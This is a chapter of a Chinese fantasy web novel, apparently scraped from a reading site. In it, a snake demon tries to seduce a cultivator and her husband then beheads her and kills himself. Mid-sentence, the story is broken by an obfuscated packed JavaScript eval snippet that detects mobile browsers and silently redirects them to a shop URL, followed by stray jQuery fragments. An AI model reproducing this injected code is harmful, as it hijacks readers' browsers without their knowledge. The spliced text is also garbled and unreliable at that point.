默认冷灰
24号文字
方正启体

59. 宜光(二)

作者:太平通宝本书字数:K更新时间:
    李恪生冷眼看着晏家公子在“自己”跟前坐下,含笑问道:


    “客人从何处来?观客人容貌打扮,不像是本地人。”他一面招呼宜光端出几碟煎鱼和腌菜,又亲自倒上醪酒,热切道:


    “鄙人晏达,字子通,犍为郡人士。这是内子宜光,最擅酿酒。客人路过小店,也算有缘。若不尝尝我们的手艺,可就遗憾了。”


    “李恪生”的目光在晏达和宜光身上巡睃,又落在案前的村醪上。


    这宜光颇有些修为,妖气已经隐藏得很好。若非李恪生,寻常修士只怕也要被瞒过去。


    只是晏家是捉妖世家,没有道理对这样一个大妖在身边毫无察觉。联想到那家主晏璋的态度……


    极有可能,他清楚这个新妇是妖,对晏达的怨也远不止罔顾礼教、逾矩私奔那么简单。


    捉妖世家的继承人与妖私相授受、不顾伦常,难怪当时晏璋对他说不出口。


    或许,晏璋更担心的是这个妖会对其子晏达不利。


    想到这里,“李恪生”便道:“鄙人李恪生,字行远。无乡无友,浪迹九州。今观晏君谈吐不凡,姿容瑰伟,为何不去求官,却屈居益城外一茅舍小店,沽酒为生?”


    晏达闻言一顿,大概是听他报了名姓,心里已知他是那代神仙巡查九州的仙门高徒,稍稍有些不自然地望了刚刚在身旁坐下的宜光一眼。


    宜光依偎在他身边,笑了笑,轻拍他的手背,似作安抚。


    她温和开口道:“我家夫君本出自大族,是因宜光之故,才不得不……”


    说着,她一双美目盈盈已有泪意,垂眸掩泣道:“是宜光不好,令夫君父子生隙,连累了夫君,不得光耀门楣。”


    晏达见她如此,忙低眉温言细语安抚,见她不再泣泪,才对“李恪生”道:“李君见笑了。”


    “我与宜光,倾盖如故。信前生有山盟海誓,今生便成鸳侣,定白首同心,永不相弃。”他含笑望了宜光一眼,宜光浅笑不语,一片脉脉春情。


    停顿片刻,晏达叹了口气,又对“李恪生”道:


    “当今之世,外戚阉宦,迭相窃柄,朝堂纲纪,日渐颓弛。西北羌戎叛扰,累岁不息,连年征战耗费弥广,朝廷征税日益严苛,以致民力凋敝。更有地震水涝灾害频仍,海内不安。”


    “虽我等居益城之地,水旱由人,不知饥馑,独得晏然。但豪强坐大,广占田宅,藏匿人口,与官衙勾连盘结。子通才疏学浅,无救世之志,不愿折节于俗流,亦不愿案牍劳形,困于金堂华屋之中。身侧有宜光一人相伴,便是市井小贩、烟波钓叟,也胜过三公九卿。这不比做神仙更逍遥?”


    说完,晏达笑吟吟望着“李恪生”,又将那碗醪酒往他身前推了一推:“李君,真的不试试?”


    “李恪生”默然半晌,没有接那碗酒,只问道:“晏君,你真的这么想?”


    晏达笑道:“李君,多谢你的好意,我志向如此,此生不改。我也知道父亲的忧心。李君是高人,是晏某连累李君牵扯进这样的俗务,实在是晏某的过错。这样吧,还请今日在寒舍歇息一晚,明日再行,我们夫妻二人还有许多问题想向李君讨教,切勿推辞。”


    不等“李恪生”回答,晏达忙让宜光去院子里一间空茅屋中铺床。


    “这是我的心意,请勿推辞。”晏达笑着,再次端起酒。


    见宜光走远了,“李恪生”才皱眉道:“你知道她是妖?”


    晏达脸色沉下来:“李君,我敬你为人,但请莫要再提。宜光是人是妖,又有什么关系?只要我们心中有彼此,相携一生,又与旁人何干?”


    “李恪生”叹了口气:“既如此,我再不相劝。”见晏达仍端着酒,他不得不说明白:“晏君既知我修无情道,应明白我不饮酒、不食五谷。今日盛情招待,感激不尽。”


    李恪生在一旁冷眼看着当年的一切以不可阻挡之势再度发生,心中涌起一片悲凉。下一刻,四周场景再度扭曲变换,已是茅屋间一盏油灯如豆,灯下美人如玉。


    宜光在摇曳灯光下更显倾城绝色,她素手烹茶,为“李恪生”奉上:“李君不饮酒,这茶是用春泉煎成,李君可否赏光?”


    “李恪生”静坐如松,只一手按着佩剑,目不斜视道:“天色已晚,夫人再留在此处于礼不合,还是早些回去吧。”


    宜光放下那盏茶,轻笑一声:“君是世外仙人,也在乎这些虚礼?”


    她支起胳膊搁在下巴上,袖子便滑落下来,露出欺霜赛雪的一截皓腕来。像是终于厌倦了扮演一个贤良淑德的凡妇,她懒懒地斜靠在几旁,用那双流眄生波的凤眸打量着“李恪生”。


    “听说李君只管捉鬼,不与妖类为难。”宜光朱唇轻启,笑道,“怎么近来又与晏家相交,寻访到我夫君头上?”


    “若妖物安分守己,我自不多问。”“李恪生”的目光落在她脸上,带着警告,“可若妖物生事,我绝不姑息。夫人要是疑心我此行是有意针对,那便是多虑了,不必故作此态。”


    宜光愣神了片刻,不知想了些什么,忽然问道:“李君除魔卫道,自是光风霁月。可若是……妖要除妖,魔要除魔,该当何解?”


    妖要除妖,魔要除魔?


    “李恪生”闻言悚然一惊,再回神时宜光竟已闪至他的身侧,二人的袍袖堆叠在一处。


    “李君,宜光有一惑不解。”她欺身上来,一双手臂像柔软的蛇,攀缠上他的脖子,“为了除魔大道,你能牺牲一切吗?”


    “李恪生”猛地站起身,一掌将她推倒在地,“唰”地拔出佩剑,剑锋直指宜光,横眉怒目:“谁派你来的?你的目的是什么?说!”


    她意有所指,虽有意勾.引,但绝非那些贪图精气的妖。


    “判笔剑……”宜光面无惧色,反而伸出手抚摸剑身。


    指如葱根,剑如寒水,她眼角眉梢是诉不尽的风情:“苦修何其枯燥,不如今宵妾陪李君……共享人间之欢?”


    说着,她站起身缓缓解开腰间束带,外袍倏然散开,露出光.裸如玉的肌肤,衣裳如蛇蜕般堆叠一地。宜光微微仰起头,反手拔下簪子,一头青丝如瀑布般泻下,光可鉴人。


    她轻轻拨开“李恪生”的剑尖,跨出堆叠的衣料,款款朝他走来。


    “李恪生”眸光清冷,手腕微动,剑锋便割破了宜光的肩膀。她发出了一声短暂的惊呼,却媚态尽显。


    “李恪生”瞧了一眼判笔剑的反应,见剑身沾了宜光的血,发出嗡鸣。


    判笔识妖断鬼,“李恪生”心下了然,目视宜光的眼神没有半点波澜:“原来是一条巨蟒。修为既高,何必如此?”


    宜光浑身一僵,眉眼间带了些委屈,见“李恪生”一时没有杀她的意思,便又主动将雪白柔软的身躯凑近了些许,婉转泣道:“君嫌妾如此,是妾不够美


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410430|200664||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吗?”


    “莫说你是一条蛇,即便是人,也不过一副皮囊。骨肉齿发,百年后俱是一抔腐土,何来美丑?”“李恪生”叹了口气,皱着眉头道,“我素来不喜严刑逼供。趁我还有耐性,告诉我——”


    “谁派你来的?”


    不等宜光回答,“嘭”的一声,房门骤然被踢开。


    晏达只穿了一身素白中衣,半披着头发,提着长剑便闯入“李恪生”房中。


    “夫君……”


    宜光见了他,惊得浑身一颤,慌忙要捡起地上衣物遮蔽身体。


    晏达脸色阴沉,披散的发丝遮了他半边的脸,他喘着粗气,胸膛急剧地起伏,目光在“李恪生”脸上停留了片刻。


    “李恪生”被那样浓重而复杂的恨意一惊。


    这样的场景,李恪生当初很久都以为,是晏达生了误会。可如今看来……


    晏达目光落到宜光的脸上,倏忽滚下泪来。不等宜光分说,他陡然拔剑——


    意识到他要做什么,“李恪生”忙使剑去挡。


    晏达是凡人,“李恪生”害怕伤了他,并未使多少力,只估摸着能将他制住。可他怎么也没有料到,晏达竟能一剑将自己拦开,挥剑直直向宜光斩下!


    寒光一闪,方才还梨花带雨的美人,一颗头颅骨碌碌滚落一旁,一双带泪的眼还睁着,眼神中是不可置信。


    不等“李恪生”动作,晏达举起那血淋淋的长剑,竟又反手朝自己脖颈一抹,横尸当场!


    一声春雷在窗外骤然炸响。


    树影婆娑。


    ……


    “宜光,宜光!”柳晋如以魂魄之身在古莽国内四处飘荡。在经历过第三个黑风黄沙、第七个烈火燎原、第九个猛兽食人、第十二个天灌岩浆后,她终于迎来了一处扬着纷纷细雪,能看见远处皑皑山脉的地方。


    连景看起来受了重伤,理应不敌她。但金灯花不知何处能寻到,只能一边应付着古莽国这些险境,一边寻找宜光。


    一条顶着雪粒的小泥蛇窸窸窣窣压过枯枝,朝柳晋如游来。


    柳晋如欣喜道:“宜光,你来啦!”


    她伸出手,让小蛇缠上自己的手腕。


    小蛇吐着信子:“你怎么把自己搞成这个样子?”


    “脱壳之法而已。”柳晋如笑道:“无妨,我的魂魄坚固无比,就算伤了,还能修补。更何况我还有度朔桃花,即便肉.身有损,也能恢复。”


    “唔,竟然能将魂魄化出实体。”小蛇道:


    “难怪连景要抓你。你比他厉害多了,他为了复活那个女人,又是煎制返生香,又是研究补魂法的,还是没什么起色。他种金灯花便是将那些凡人魂魄引去与那女人补魂的。我在古莽国遍布耳目,等我片刻,我用灵识帮你探一探。”


    没过多久,小蛇便道:“我知道了,跟我来吧。”


    小蛇从柳晋如手腕上跳下,化作一条三尺来长的泥蛇,在前面引路。


    柳晋如一面在后面跟着,一面状似无意地提起:“宜光,说起来,你在古莽国里待了多少年了?”


    “记不得了。”泥蛇顿了顿,说道,“这里又没有四时轮转,我又怎么知道时间?”


    “抱歉,是我考虑不周了。”柳晋如连忙道歉,忽而又问,“不过……你在连景的幻境中所吟,‘君王惮殊色,江心即我丘。埋尸古莽地,越女非自囚’究竟是何解?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)